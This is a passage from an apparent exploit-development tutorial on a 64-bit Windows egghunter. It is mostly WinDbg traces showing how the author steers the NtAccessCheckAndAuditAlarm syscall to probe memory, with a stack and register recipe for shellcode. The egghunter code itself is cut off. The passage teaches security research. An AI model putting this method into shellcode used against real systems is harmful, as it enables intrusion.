#8b0000\">r8=00000000000001f4<\/span>  r9=00000000004013ec r10=000000007516aa00\nr11=000000000008e348 r12=0000000075145ca8 r13=000000000008fd20\nr14=000000000008ec80 r15=00000000750c2450\niopl=0         nv up ei pl nz na pe nc\ncs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202\nwow64!whNtAccessCheckAndAuditAlarm+0x38:\n00000000`75145ce0 448b5110        mov     r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000040\n0:000&gt; dds rcx\n00000000`0028ff08  0008f000\n00000000`0028ff0c  004013ec image00000000_00400000+0x13ec\n00000000`0028ff10  0043f000 image00000000_00400000+0x3f000\n00000000`0028ff14  000001f4\n00000000`0028ff18  00000040\n00000000`0028ff1c  0028ff44<\/pre>\n<p>Once we step through once more we will have loaded our two conditional registers that will be tested with EBX once it\u2019s zeroed (see in green above).<\/p>\n<p>So what if we were able to manipulate these conditional tests since we control the parameters being passed onto the stack?<\/p>\n<p>To do this lets just edit our second conditional test \u201ccmp edx,ebx\u201d. We will rerun the program and before our far jump we will change the data at location 0x0028ff10<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; g 0043f00e\nimage00000000_00400000+0x3f00e:\n0043f00e 64ff15c0000000  call    dword ptr fs:[0C0h]  fs:0053:000000c0=00000000\n0:000:x86&gt; ed 0028ff10 00000000\n0:000:x86&gt; dds esp\n0028ff08  0008f000\n0028ff0c  004013ec image00000000_00400000+0x13ec\n0028ff10  00000000\n0028ff14  000001f4\n0028ff18  00000040\n0028ff1c  0028ff44\n0:000:x86&gt; g wow64!whNtAccessCheckAndAuditAlarm+0x89\nwow64!whNtAccessCheckAndAuditAlarm+0x89:\n00000000`75145d31 3bd3            cmp     edx,ebx\n0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0x8b:\n00000000`75145d33 742c            je      wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61) [br=1]<\/pre>\n<p>This time our condition is true so we will jump over the blue code (see above) I highlighted before. However our third condition is not met and we receive our same error as before, but we were able to control some of the flow of execution in that function and ended up jumping from wow64!whNtAccessCheckAndAuditAlarm+0x8b to wow64!whNtAccessCheckAndAuditAlarm+0xb9.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">wow64!whNtAccessCheckAndAuditAlarm+0x8b:\n00000000`75435d33 742c            je      wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75435d61) [br=1]\n0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0xb9:\n00000000`75435d61 488bfb          mov     rdi,rbx\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xbc:\n00000000`75435d64 443bc3          cmp     r8d,ebx\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xbf:\n00000000`75435d67 742d            je      wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75435d96) [br=0]\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xc1:\n00000000`75435d69 488d9c2490000000 lea     rbx,[rsp+90h]\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xc9:\n00000000`75435d71 418b4004        mov     eax,dword ptr [r8+4] ds:00000000`000001f8=????????\n0:000&gt;\n(1218.130c): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled<\/pre>\n<p>Looking back at our original problem it seems will need to take care of both these stack arguments for our conditional jumps.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">00000000`75435cd9 8b5108          mov     edx,dword ptr [rcx+8]\n00000000`75435cdc 448b410c        mov     r8d,dword ptr [rcx+0Ch]<\/pre>\n<p>Lets try it again setting doing both those stack arguments to zero and see how that plays out.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; t\nimage00000000_00400000+0x3f00e:\n0043f00e 64ff15c0000000  call    dword ptr fs:[0C0h]  fs:0053:000000c0=00000000\n0:000:x86&gt; ed 0028ff10 00000000\n0:000:x86&gt; ed 0028ff14 00000000\n0:000:x86&gt; g wow64!whNtAccessCheckAndAuditAlarm+0x89\nwow64!whNtAccessCheckAndAuditAlarm+0x89:\n00000000`75145d31 3bd3            cmp     edx,ebx\n0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0x8b:\n00000000`75145d33 742c            je      wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61) [br=1]\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xb9:\n00000000`75145d61 488bfb          mov     rdi,rbx\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xbc:\n00000000`75145d64 443bc3          cmp     r8d,ebx\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xbf:\n00000000`75145d67 742d            je      wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75145d96) [br=1]\n0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0xee:\n00000000`75145d96 498bca          <span style=\"color: #008000\">mov rcx,r10<\/span>\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xf1:\n00000000`75145d99 e87251ffff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7513af10)\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC:\n00000000`7513af10 4053            push    rbx\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2:\n00000000`7513af12 4883ec20        sub     rsp,20h\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6:\n00000000`7513af16 488bd9          mov     rbx,rcx\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9:\n00000000`7513af19 4885c9          <span style=\"color: #008000\">test rcx,rcx<\/span>\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xc:\n00000000`7513af1c 7507            <span style=\"color: #008000\">jne wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15 (00000000`7513af25) [br=1]<\/span>\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15:\n00000000`7513af25 b800800000      mov     eax,8000h\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x1a:\n00000000`7513af2a 66854102        test    word ptr [rcx+2],ax ds:00000000`00000042=????<\/pre>\n<p>So we are now moving closer and we get to Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC which is our last setup before getting to our actual system call. It looks like there is one more parameter we need to control, R10.<\/p>\n<p>To wrap it up we need to control 3 parameters on the stack, which will be used in the system call. The simplest way is to null them out or push 0 onto the stack. While this is not the most elegant approach, it\u2019s a quick solve to our issue.<\/p>\n<p>I'll just use the built-in debugger memory edit to change the values on the stack for now.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0028ff08  0008f000 (our parameter we want to read if the address is readable or not)\n0028ff0c  004013ec R9,(doesn\u2019t appear to be affected whether readable or non-readable address is used, easier to push null to setup other params below)\n0028ff10  0043f000 EDX,(if null condition will be true with EBX)\n0028ff14  000001f4 R8, (if null condition will be true with EBX)\n0028ff18  00000040 R10,(if null condition will be false on test rcx,rcx)\n\n0:000:x86&gt; ed 0028ff0c 00000000\n0:000:x86&gt; ed 0028ff10 00000000\n0:000:x86&gt; ed 0028ff14 00000000\n0:000:x86&gt; ed 0028ff18 00000000\n0:000:x86&gt; dds esp\n0028ff08  0008f000\n0028ff0c  00000000\n0028ff10  00000000\n0028ff14  00000000\n0028ff18  00000000\nwow64!whNtAccessCheckAndAuditAlarm+0x2d:\n00000000`74965cd5 448b4904        mov     r9d,dword ptr [rcx+4] ds:00000000`0028ff0c=00000000\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x31:\n00000000`74965cd9 8b5108          mov     edx,dword ptr [rcx+8] ds:00000000`0028ff10=00000000\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x34:\n00000000`74965cdc 448b410c        mov     r8d,dword ptr [rcx+0Ch] ds:00000000`0028ff14=00000000\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x38:\n00000000`74965ce0 448b5110        mov     r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000000<\/pre>\n<p>Let's go ahead and rerun everything after changing our stack parameters<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; g wow64!whNtAccessCheckAndAuditAlarm+0x89\nwow64!whNtAccessCheckAndAuditAlarm+0x89:\n00000000`75435d31 3bd3            <span style=\"color: #008000\">cmp edx,ebx<\/span>\n0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0x8b:\n00000000`75435d33 742c            <span style=\"color: #008000\">je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75435d61) [br=1]<\/span>\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xb9:\n00000000`75435d61 488bfb          mov     rdi,rbx\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xbc:\n00000000`75435d64 443bc3          <span style=\"color: #008000\">cmp r8d,ebx<\/span>\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xbf:\n00000000`75435d67 742d            <span style=\"color: #008000\">je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75435d96) [br=1]<\/span>\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xee:\n00000000`75435d96 498bca          <span style=\"color: #008000\">mov rcx,r10<\/span>\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xf1:\n00000000`75435d99 e87251ffff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7542af10)\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC:\n00000000`7542af10 4053            push    rbx\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2:\n00000000`7542af12 4883ec20        sub     rsp,20h\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6:\n00000000`7542af16 488bd9          mov     rbx,rcx\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9:\n00000000`7542af19 4885c9          <span style=\"color: #008000\">test rcx,rcx<\/span>\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xc:\n00000000`7542af1c 7507            <span style=\"color: #008000\">jne wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15 (00000000`7542af25) [br=0]<\/span>\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xe:\n00000000`7542af1e 33c0            xor     eax,eax\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x10:\n00000000`7542af20 e986000000      jmp     wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9b (00000000`7542afab)\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9b:\n00000000`7542afab 4883c420        add     rsp,20h\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9f:\n00000000`7542afaf 5b              pop     rbx\n0:000&gt;\nwow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xa0:\n00000000`7542afb0 c3              ret\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xf6:\n00000000`75435d9e 488bd0          mov     rdx,rax\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xf9:\n00000000`75435da1 8b442468        mov     eax,dword ptr [rsp+68h] ss:00000000`0008e2d8=0028ff70\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0xfd:\n00000000`75435da5 448b5c2464      mov     r11d,dword ptr [rsp+64h] ss:00000000`0008e2d4=000000a0\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x102:\n00000000`75435daa 448b542460      mov     r10d,dword ptr [rsp+60h] ss:00000000`0008e2d0=00000098\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x107:\n00000000`75435daf 4c89542450      mov     qword ptr [rsp+50h],r10 ss:00000000`0008e2c0=0000000077ab04f0\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x10c:\n00000000`75435db4 4c895c2448      mov     qword ptr [rsp+48h],r11 ss:00000000`0008e2b8=000000000000008c\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x111:\n00000000`75435db9 4889442440      mov     qword ptr [rsp+40h],rax ss:00000000`0008e2b0=0000000077ab04f0\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x116:\n00000000`75435dbe 44887c2438      mov     byte ptr [rsp+38h],r15b ss:00000000`0008e2a8=8c\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x11b:\n00000000`75435dc3 4c89742430      mov     qword ptr [rsp+30h],r14 ss:00000000`0008e2a0=0000000077ab04f0\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x120:\n00000000`75435dc8 44896c2428      mov     dword ptr [rsp+28h],r13d ss:00000000`0008e298=82ac0004\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x125:\n00000000`75435dcd 4889542420      mov     qword ptr [rsp+20h],rdx ss:00000000`0008e290=0000000077ab056c\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x12a:\n00000000`75435dd2 4c8bcb          mov     r9,rbx\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x12d:\n00000000`75435dd5 4c8bc7          mov     r8,rdi\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x130:\n00000000`75435dd8 498bd4          mov     rdx,r12\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x133:\n00000000`75435ddb 488bce          mov     rcx,rsi\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x136:\n00000000`75435dde ff15acb5feff    call    qword ptr [wow64!_imp_NtAccessCheckAndAuditAlarm (00000000`75421390)] ds:00000000`75421390={ntdll!ZwAccessCheckAndAuditAlarm (00000000`777a15a0)}\n0:000&gt;\nntdll!ZwAccessCheckAndAuditAlarm:\n00000000`777a15a0 4c8bd1          mov     r10,rcx\n0:000&gt;\nntdll!ZwAccessCheckAndAuditAlarm+0x3:\n00000000`777a15a3 b826000000      mov     eax,26h\n0:000&gt;\nntdll!ZwAccessCheckAndAuditAlarm+0x8:\n00000000`777a15a8 0f05            syscall<\/pre>\n<p>We reached our system call! Just to confirm there are no other local variables to my computer or for our C program, I went back and manipulated the stack values and reran with non-readable addresses and it worked fine.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; ed 0028ff04 000000A0\n0:000:x86&gt; ed 0028ff00 000000B0\n0:000:x86&gt; ed 0028fefc 000000C0\n0:000:x86&gt; ed 0028fef8 000000D0\n0:000:x86&gt; ed 0028fef4 000000E0\n0:000:x86&gt; ed 0028fef0 000000F0\n0:000:x86&gt; ed 0028ff0c 00000000\n0:000:x86&gt; ed 0028ff10 00000000\n0:000:x86&gt; ed 0028ff14 00000000\n0:000:x86&gt; ed 0028ff18 00000000\n0:000:x86&gt; ed 0028ff1c 00000040\n0:000:x86&gt; ed 0028ff20 00000050\n0:000:x86&gt; ed 0028ff24 00000060\n0:000:x86&gt; ed 0028ff28 00000070\n0:000:x86&gt; ed 0028ff2c 00000080\n0:000:x86&gt; ed 0028ff30 00000090\n0:000:x86&gt; dds esp-1c\n0028feec  0028ff08\n0028fef0  000000f0\n0028fef4  000000e0\n0028fef8  000000d0\n0028fefc  000000c0\n0028ff00  000000b0\n0028ff04  000000a0\n0028ff08  0008f000\n0028ff0c  00000000\n0028ff10  00000000\n0028ff14  00000000\n0028ff18  00000000\n0028ff1c  00000040\n0028ff20  00000050\n0028ff24  00000060\n0028ff28  00000070\n0028ff2c  00000080\n0028ff30  00000090\n0:000:x86&gt; g ntdll!ZwAccessCheckAndAuditAlarm\nntdll!ZwAccessCheckAndAuditAlarm:\n00000000`779615a0 4c8bd1          mov     r10,rcx\n0:000&gt; t\nntdll!ZwAccessCheckAndAuditAlarm+0x3:\n00000000`779615a3 b826000000      mov     eax,26h\n0:000&gt;\nntdll!ZwAccessCheckAndAuditAlarm+0x8:\n00000000`779615a8 0f05            syscall\n0:000&gt;\nntdll!ZwAccessCheckAndAuditAlarm+0xa:\n00000000`779615aa c3              ret<\/pre>\n<p>To confirm our system error in EAX is correct (and confirm we found a readable address in memory) we can do a dump and see that (on my computer) 0x8f000 (the starting address of the Egghunter on my system) is a valid area of memory.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; d 8f000\n0008f000  00000000<\/pre>\n<p>At this point the routine will increase EAX by 1 until it finds an address in memory that it can not read from. To speed this up I am going to change EAX to 0x9000 since I know on my computer that address is not an existing memory block.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000:x86&gt; u 9000\n00009000 ?? ???\n^ Memory access error in 'u 9000'<\/pre>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg7.png\"><img loading=\"lazy\" decoding=\"async\" width=\"652\" height=\"239\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"windbg7\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg7_thumb.png\" border=\"0\"><\/a><\/p>\n<p>Let's go ahead and continue until wow64!whNtAccessCheckAndAuditAlarm+0x5d. This was going to be our first condition that we didn\u2019t want to change. It will do a compare with RCX which is saved ESP+0 (EDX). We made this condition false on purpose.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000&gt; u wow64!whNtAccessCheckAndAuditAlarm+0x67\nwow64!whNtAccessCheckAndAuditAlarm+0x5d:\n00000000`75145d05 33db            xor     ebx,ebx\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x5f:\n00000000`75145d07 3919            cmp     dword ptr [rcx],ebx ds:00000000`0028ff08=0008f000\n0:000&gt;\nwow64!whNtAccessCheckAndAuditAlarm+0x61:\n00000000`75145d09 7420            je      wow64!whNtAccessCheckAndAuditAlarm+0x83 (00000000`75145d2b) [br=0])<\/pre>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg8.png\"><img loading=\"lazy\" decoding=\"async\" width=\"656\" height=\"276\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"windbg8\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg8_thumb.png\" border=\"0\"><\/a><\/p>\n<p>When we get to the instruction \u201cmov ecx,dword ptr [rcx]\u201d, the \"address to check\" (0x9000 in this example) is read into ECX. The next instruction \u201cmov eax,dword ptr [rcx+4]\u201d will try and move the next 4 bytes (0x9004) into EAX. This is where an exception will occur, since this is not a valid memory area.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #252525\">0:000&gt; t\nwow64!whNtAccessCheckAndAuditAlarm+0x69:\n00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4] ds:00000000`00009004=????????\n0:000&gt; t\n(bf8.308): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected <span style=\"color: #0000ff\">and<\/span> handled.\nwow64!whNtAccessCheckAndAuditAlarm+0x69:\n00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4] ds:00000000`00009004=????????\n0:000&gt; !analyze -v\n*******************************************************************************\n*                                                                             *\n*                        Exception Analysis                                   *\n*                                                                             *\n*******************************************************************************\n\nFAULTING_IP:\nwow64!whNtAccessCheckAndAuditAlarm+69\n00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4]\n\nEXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff)\nExceptionAddress: 00000000749d5d11 (wow64!whNtAccessCheckAndAuditAlarm+0x0000000000000069)\n   ExceptionCode: c0000005 (Access violation)\n  ExceptionFlags: 00000000\nNumberParameters: 2\n   Parameter[0]: 0000000000000000\n   Parameter[1]: 0000000000009004\nAttempt to read from address 0000000000009004\n\nFAULTING_THREAD:  0000000000000308\n\nDEFAULT_BUCKET_ID:  INVALID_POINTER_READ\n\nPROCESS_NAME:  image00000000`00400000\n\nERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could <span style=\"color: #0000ff\">not<\/span> be %s.\n\nEXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could <span style=\"color: #0000ff\">not<\/span> be %s.\n\nEXCEPTION_PARAMETER1:  0000000000000000\n\nEXCEPTION_PARAMETER2:  0000000000009004\n\nREAD_ADDRESS:  0000000000009004\n\nFOLLOWUP_IP:\nwow64!whNtAccessCheckAndAuditAlarm+69\n00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4]\n\nMOD_LIST: &lt;ANALYSIS\/&gt;\n\nNTGLOBALFLAG:  70\n\nAPPLICATION_VERIFIER_FLAGS:  0\n\nPRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ\n\nBUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ\n\nLAST_CONTROL_TRANSFER:  from 00000000749ccf87 to 00000000749d5d11\n\nSTACK_TEXT:\n00000000`0008e270 00000000`749ccf87 : 00000000`0028ff00 00000000`0028ff00 00000000`7efdb000 00000000`7efdb000 : wow64!whNtAccessCheckAndAuditAlarm+0x69\n00000000`0008e350 00000000`74952776 : 00000000`774401c4 00000000`749c0023 00000000`00000246 00000000`0028fff0 : wow64!Wow64SystemServiceEx+0xd7\n00000000`0008ec10 00000000`749cd07e : 00000000`00000000 00000000`74951920 00000000`0008eea0 00000000`7727ecd1 : wow64cpu!TurboDispatchJumpAddressEnd+0x2d\n00000000`0008ecd0 00000000`749cc549 : 00000000`00000000 00000000`00000000 00000000`749c4ac8 00000000`7ffe0030 : wow64!RunCpuSimulation+0xa\n00000000`0008ed20 00000000`77294956 : 00000000`002c3600 00000000`00000000 00000000`77382670 00000000`77355978 : wow64!Wow64LdrpInitialize+0x429\n00000000`0008f270 00000000`77291a17 : 00000000`00000000 00000000`77294061 00000000`0008f820 00000000`00000000 : ntdll!LdrpInitializeProcess+0x17e4\n00000000`0008f760 00000000`7727c32e : 00000000`0008f820 00000000`00000000 00000000`7efdf000 00000000`00000000 : ntdll! ?? ::FNODOBFM::`<span style=\"color: #0000ff\">string<\/span>'+0x29220\n00000000`0008f7d0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe\n\nSYMBOL_STACK_INDEX:  0\n\nSYMBOL_NAME:  wow64!whNtAccessCheckAndAuditAlarm+69\n\nFOLLOWUP_NAME:  MachineOwner\n\nMODULE_NAME: wow64\n\nIMAGE_NAME:  wow64.dll\n\nDEBUG_FLR_IMAGE_TIMESTAMP:  4e212272\n\nSTACK_COMMAND:  ~0s ; kb\n\nFAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_wow64.dll!whNtAccessCheckAndAuditAlarm\n\nBUCKET_ID:  X64_APPLICATION_FAULT_INVALID_POINTER_READ_wow64!whNtAccessCheckAndAuditAlarm+69\n\nFollowup: MachineOwner<\/pre>\n<p>We can see that it tried to read from an invalid pointer, and threw an exception. If we pass the exception we will come out of WoW64 and return at our \u201ccmp al,05\u201d (break point needs to be set).<\/p>\n<pre><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg9.png\"><img loading=\"lazy\" decoding=\"async\" width=\"647\" height=\"248\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"windbg9\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg9_thumb.png\" border=\"0\"><\/a><\/pre>\n<p>So, as you can see, the exception wasn't harmful to our code and we simply return from WoW64 into our 32bit process, without breaking the 32bit process.<\/p>\n<p>If we look at our registers we can see that AL in EAX has the error code of 0x05, indicating a not readable. This condition will make our compare true, trigger a jump back to \u201cOR DX,0FFF\u201d and move to the next page in memory.<\/p>\n<p>So it appears our Egghunter works and we are leveraging the conditional statements in wow64!whNtAccessCheckAndAuditAlarm to see if our area is readable. Let\u2019s go ahead and set EDX to 0x400000 and see if we find our shell code.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg10.png\"><img loading=\"lazy\" decoding=\"async\" width=\"558\" height=\"553\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 7px; padding-right: 0px; border-top-width: 0px\" alt=\"windbg10\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/11\/windbg10_thumb.png\" border=\"0\"><\/a><\/p>\n<p>Woot! It looks like it found our code. So it appears our Egghunter is good.<\/p>\n<p>So, to sum things up, I am going to be calling FS:[EBX +0x0c], so we need to have the following stack &amp; register setup:<\/p>\n<p>Stack layout at the time of the syscall \"read test\":<\/p>\n<ul>\n<li>0x???????? (address to test)<\/li>\n<li>0x00000000<\/li>\n<li>0x00000000<\/li>\n<li>0x00000000<\/li>\n<li>0x00000000<\/li>\n<\/ul>\n<p>Registers :<\/p>\n<ul>\n<li>EAX : 0x26 (NtAccessCheckAndAuditAlarm)<\/li>\n<li>ECX : 0x00000000<\/li>\n<li>EDX : location of the addrress to use in the read test (set to ESP before the call). We pushed the address onto the stack, so simply set EDX to ESP<\/li>\n<li>EBX : 0x0c<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>To achieve this, our code will<\/p>\n<ul>\n<li>set EBX = 0\n<ul>\n<li>then push EBX 4 times on the stack<\/li>\n<li>mov 0x0c into EBX<\/li>\n<\/ul>\n<\/li>\n<li>set EAX = 0x26\n<ul>\n<li>value to trigger NtAccessCheckAndAuditAlarm<\/li>\n<\/ul>\n<\/li>\n<li>set ECX = 0<\/li>\n<li>set EDX = Egghunter searchable parameter\n<ul>\n<li>before our call move ESP into EDX, this is the location of where RCX begins comparing our parameters off the stack<\/li>\n<\/ul>\n<\/li>\n<li>EBX,ESI,and EBP will remain unchanged during our transition and our system call so we can use those registers for other purposes.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Coming back to our null byte 'issue' as well I decided to kill \u20182 birds with one stone\u2019. During testing I realized that EBX will not be changed during our transition into WoW64 and our system call. So we can take advantage of the register to create sort of a stub to clear our the register (EBX) and push our nulls onto the stack and execute \u201cmov bl, 0xc0\u201d which will put TEB 0x0c into EBX and we can do a call with no null bytes.<\/p>\n<p>Putting it all together I was able to get a 47 byte Egghunter. It is 15 more bytes than the traditional 32 bit. You can find the assembly and opcodes for the new Egghunter below.<\/p>\n<p>&nbsp;<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; 